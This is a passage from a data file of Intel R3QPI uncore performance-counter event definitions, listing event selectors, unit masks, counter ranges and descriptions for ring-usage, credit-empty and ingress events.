"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO1": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO5": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO3": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO7": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"R3QPI.C_LO_AD_CREDITS_EMPTY.CBO2": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to Cbox on the AD Ring (covers lower CBoxes)",
"Desc": "CBox AD Credits Empty",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.HA_R2_BL_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to either HA or R2 on the BL Ring",
"Desc": "HA/R2 AD Credits Empty",
"EvSel": 45,
"ExtSel": "",
"Notes": "Counter 0 counts lack of credits to the lesser numbered Cboxes (0-8) Counter 1 counts lack of credits to Cbox to the higher numbered CBoxes (8-13,15+17,16+18)",
},
"R3QPI.HA_R2_BL_CREDITS_EMPTY.HA0": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to either HA or R2 on the BL Ring",
"Desc": "HA/R2 AD Credits Empty",
"EvSel": 45,
"ExtSel": "",
"Notes": "Counter 0 counts lack of credits to the lesser numbered Cboxes (0-8) Counter 1 counts lack of credits to Cbox to the higher numbered CBoxes (8-13,15+17,16+18)",
"Umask": "bxxxxxxx1",
},
"R3QPI.HA_R2_BL_CREDITS_EMPTY.HA1": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to either HA or R2 on the BL Ring",
"Desc": "HA/R2 AD Credits Empty",
"EvSel": 45,
"ExtSel": "",
"Notes": "Counter 0 counts lack of credits to the lesser numbered Cboxes (0-8) Counter 1 counts lack of credits to Cbox to the higher numbered CBoxes (8-13,15+17,16+18)",
"Umask": "bxxxxxx1x",
},
"R3QPI.HA_R2_BL_CREDITS_EMPTY.R2_NCS": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to either HA or R2 on the BL Ring",
"Desc": "HA/R2 AD Credits Empty",
"EvSel": 45,
"ExtSel": "",
"Notes": "Counter 0 counts lack of credits to the lesser numbered Cboxes (0-8) Counter 1 counts lack of credits to Cbox to the higher numbered CBoxes (8-13,15+17,16+18)",
"Umask": "bxxxx1xxx",
},
"R3QPI.HA_R2_BL_CREDITS_EMPTY.R2_NCB": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to either HA or R2 on the BL Ring",
"Desc": "HA/R2 AD Credits Empty",
"EvSel": 45,
"ExtSel": "",
"Notes": "Counter 0 counts lack of credits to the lesser numbered Cboxes (0-8) Counter 1 counts lack of credits to Cbox to the higher numbered CBoxes (8-13,15+17,16+18)",
"Umask": "bxxxxx1xx",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN0_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN0_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN1_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VNA": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN1_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN0_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.QPI0_AD_CREDITS_EMPTY.VN1_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the AD Ring",
"Desc": "QPI0 AD Credits Empty",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.QPI0_BL_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the BL Ring",
"Desc": "QPI0 BL Credits Empty",
"EvSel": 33,
"ExtSel": "",
},
"R3QPI.QPI0_BL_CREDITS_EMPTY.VN1_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the BL Ring",
"Desc": "QPI0 BL Credits Empty",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.QPI0_BL_CREDITS_EMPTY.VNA": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the BL Ring",
"Desc": "QPI0 BL Credits Empty",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.QPI0_BL_CREDITS_EMPTY.VN1_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the BL Ring",
"Desc": "QPI0 BL Credits Empty",
"EvSel": 33,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"R3QPI.QPI0_BL_CREDITS_EMPTY.VN1_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI0 on the BL Ring",
"Desc": "QPI0 BL Credits Empty",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.QPI1_AD_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the AD Ring",
"Desc": "QPI1 AD Credits Empty",
"EvSel": 46,
"ExtSel": "",
},
"R3QPI.QPI1_AD_CREDITS_EMPTY.VN1_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the AD Ring",
"Desc": "QPI1 AD Credits Empty",
"EvSel": 46,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.QPI1_AD_CREDITS_EMPTY.VN1_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the AD Ring",
"Desc": "QPI1 AD Credits Empty",
"EvSel": 46,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.QPI1_AD_CREDITS_EMPTY.VNA": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the AD Ring",
"Desc": "QPI1 AD Credits Empty",
"EvSel": 46,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.QPI1_AD_CREDITS_EMPTY.VN1_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the AD Ring",
"Desc": "QPI1 AD Credits Empty",
"EvSel": 46,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN0_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN1_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN0_SNP": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN1_NDR": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VNA": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN0_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.QPI1_BL_CREDITS_EMPTY.VN1_HOM": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Credit Events",
"Counters": "0-1",
"Defn": "No credits available to send to QPI1 on the BL Ring",
"Desc": "QPI1 BL Credits Empty",
"EvSel": 47,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.RING_AD_USED": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R3QPI.RING_AD_USED.CW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R3QPI.RING_AD_USED.CW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R3QPI.RING_AD_USED.CW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R3QPI.RING_AD_USED.CCW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R3QPI.RING_AD_USED.CCW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R3QPI.RING_AD_USED.CCW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R3QPI.RING_AK_USED": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R3QPI.RING_AK_USED.CCW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R3QPI.RING_AK_USED.CW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R3QPI.RING_AK_USED.CW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R3QPI.RING_AK_USED.CW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R3QPI.RING_AK_USED.CCW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R3QPI.RING_AK_USED.CCW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R3QPI.RING_BL_USED": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R3QPI.RING_BL_USED.CCW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R3QPI.RING_BL_USED.CCW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R3QPI.RING_BL_USED.CCW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R3QPI.RING_BL_USED.CW_ODD": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R3QPI.RING_BL_USED.CW_EVEN": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R3QPI.RING_BL_USED.CW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R3 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R3QPI.RING_IV_USED": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R3 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
},
"R3QPI.RING_IV_USED.CW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R3 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R3QPI.RING_IV_USED.ANY": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R3 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b00001111",
},
"R3QPI.RING_IV_USED.CCW": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R3 IV Ring in Use",
"EvSel": 10,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the CW direction and one (half-)packet moving in the CCW direction.",
"Umask": "b11001100",
},
"R3QPI.RING_SINK_STARVED": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Number of cycles the ringstop is in starvation (per ring)",
"Desc": "Ring Stop Starved",
"EvSel": 14,
"ExtSel": "",
"MaxIncCyc": 2,
},
"R3QPI.RING_SINK_STARVED.AK": {
"Box": "R3QPI",
"Category": "R3QPI RING Events",
"Counters": "0-2",
"Defn": "Number of cycles the ringstop is in starvation (per ring)",
"Desc": "Ring Stop Starved",
"EvSel": 14,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_CYCLES_NE": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
},
"R3QPI.RxR_CYCLES_NE.SNP": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_CYCLES_NE.HOM": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.RxR_CYCLES_NE.NDR": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Cycles Not Empty",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.RxR_CYCLES_NE_VN1": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
},
"R3QPI.RxR_CYCLES_NE_VN1.NCB": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.RxR_CYCLES_NE_VN1.DRS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.RxR_CYCLES_NE_VN1.SNP": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_CYCLES_NE_VN1.NCS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.RxR_CYCLES_NE_VN1.HOM": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
